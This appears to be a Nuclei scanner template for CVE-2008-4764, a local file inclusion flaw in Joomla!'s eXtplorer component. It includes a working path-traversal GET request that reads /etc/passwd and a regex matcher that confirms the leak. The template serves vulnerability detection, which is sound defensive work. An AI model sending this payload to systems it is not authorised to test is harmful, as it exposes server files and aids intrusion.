id: CVE-2008-4764 info: name: Joomla! <=2.0.0 RC2 - Local File Inclusion author: daffainfo severity: high description: Joomla! 2.0.0 RC2 and earlier are susceptible to local file inclusion in the eXtplorer module (com_extplorer) that allows remote attackers to read arbitrary files via a .. (dot dot) in the dir parameter in a show_error action. reference: - https://www.exploit-db.com/exploits/5435 - http://web.archive.org/web/20210121181347/https://www.securityfocus.com/bid/28764/ - https://exchange.xforce.ibmcloud.com/vulnerabilities/41873 - https://nvd.nist.gov/vuln/detail/CVE-2008-4764 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N cvss-score: 8.6 cve-id: CVE-2008-4764 cwe-id: CWE-22 tags: edb,cve,cve2008,joomla,lfi metadata: max-request: 1 http: - method: GET path: - "{{BaseURL}}/index.php?option=com_extplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2Fetc%2Fpasswd" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # Enhanced by mp on 2022/07/06